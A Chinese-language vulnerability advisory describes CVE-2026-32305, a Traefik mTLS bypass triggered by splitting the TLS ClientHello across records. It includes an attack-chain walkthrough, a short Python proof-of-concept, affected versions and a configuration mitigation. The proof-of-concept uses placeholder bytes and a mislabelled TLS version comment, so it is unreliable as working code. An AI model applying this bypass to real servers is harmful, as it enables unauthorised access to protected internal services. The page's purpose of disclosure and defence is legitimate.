IPBUF安全漏洞报告
English
CVE-2026-32305 CVSS 5.3 中危

CVE-2026-32305 Traefik mTLS认证绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32305
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Traefik

相关标签

认证绕过TraefikmTLSCVE-2026-32305网络安全

漏洞概述

Traefik存在mTLS认证绕过漏洞。在受影响版本中,当TLS ClientHello数据包被分段传输时,SNI预嗅探逻辑会提取失败。这导致TCP路由器回退到不需要客户端证书的默认TLS配置,从而使攻击者能够绕过本应强制执行mTLS的路由保护,无需认证即可访问受保护的内部服务。

技术细节

该漏洞的根本原因在于Traefik处理TLS握手时的SNI(服务器名称指示)提取逻辑存在缺陷。在标准的mTLS流程中,Traefik依赖SNI来匹配特定的路由规则并强制要求客户端证书。然而,当攻击者将TLS ClientHello消息故意拆分到多个TLS记录中时,Traefik的SNI预嗅探机制无法正确重组数据包,导致提取函数返回EOF错误及空的SNI结果。由于SNI为空,路由匹配逻辑失效,系统自动回退到默认的TLS配置。通常,默认配置未启用RequireClientCertificates选项,因此不强制验证客户端身份。攻击者利用这一逻辑漏洞,无需提供任何有效证书即可建立连接,从而成功绕过针对特定服务的双向TLS认证机制。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务使用Traefik作为反向代理,并配置了mTLS认证。
STEP 2
构造恶意数据包
攻击者使用脚本或工具将TLS ClientHello消息拆分为多个分片,确保SNI信息位于第二个分片或被分割。
STEP 3
发送分片数据
攻击者向目标服务器发送分片的ClientHello数据包。
STEP 4
触发逻辑缺陷
Traefik的SNI提取失败,返回空SNI导致路由回退到默认配置。
STEP 5
绕过认证
由于默认配置不强制要求客户端证书,攻击者成功建立连接并访问受保护的内部服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-32305 # This script demonstrates how to send a fragmented ClientHello # to bypass mTLS checks in vulnerable Traefik versions. import socket import struct def send_fragmented_clienthello(target_ip, target_port): # Standard TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # In a real exploit, these bytes would be a valid TLS ClientHello # split into two records. The SNI should be in the second record # or split across the boundary to trigger the EOF in SNI extraction. # Record 1: Partial ClientHello (Header + partial payload) # Content type: Handshake (0x16) # Version: TLS 1.2 (0x03, 0x01) # Length: Length of fragment 1 fragment_1 = bytes.fromhex("16030100 01") # Simplified header # Record 2: Rest of ClientHello (containing SNI) fragment_2 = bytes.fromhex("16030100 02") # Simplified header # Send fragments s.send(fragment_1) s.send(fragment_2) # Check if server responds without requesting a client certificate response = s.recv(4096) if response: print("[+] Connection established. Check if mTLS was bypassed.") s.close() # Usage: send_fragmented_clienthello('127.0.0.1', 443)

影响范围

Traefik <= 2.11.40
3.0.0-beta1 <= Traefik <= 3.6.11
Traefik 3.7.0-ea.1

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,请检查Traefik的动态配置,确保默认TLS选项(defaultTLSOptions)中的clientAuth部分设置为RequireAndVerifyClientCert,以强制所有连接(包括SNI提取失败的连接)都必须提供有效的客户端证书。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表